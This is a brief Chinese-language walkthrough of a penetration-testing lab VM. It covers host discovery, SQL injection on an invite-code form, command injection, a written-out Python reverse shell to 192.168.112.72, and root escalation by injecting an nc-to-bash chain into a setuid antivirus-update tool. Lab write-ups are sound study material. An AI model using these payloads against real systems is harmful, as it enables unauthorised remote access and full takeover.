首先ifconfig
查看自己IP,
netdiscover查看同网段下主机
第三个应该是目标靶机。用nmap查看靶机开放端口:
开放22和8080,看看8080开的啥服务
看到让我们输入邀请码。有输入框的第一个反应是RCE,尝试几次后无果。后续测试SQL注入,发现在输入"时报错
Flask框架,最后一段报错信息直接看到搜索逻辑源码
输入其它内容时全部回显
推断布尔盲注,order by 尝试字段数
1" order by 1--+ 正常
1" order by 2--+ 报错
后续尝试
1" and left(version(),1)=5 --+
无果
直接万能密码开摆:
1" or 1=1 --+
emmmm,进来了
还是看看能否RCE
输入111|ls
出了,弹个shell试试
cat | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.112.72",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
成了
看看文件权限
有一个ROOT文件,下面有它的C文件,读一下看看
发现程序定义了一个执行参数,如果程序在执行中不包含参数,则会打印出:
This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam;
如果执行程序使用了参数,那么程序就会执行freshclam,运行病毒库更新
可以试试提权:
./update_cloudav "666 | nc 192.168.112.72 5555|/bin/bash|nc 192.168.112.72 6666"
拿到ROOT权限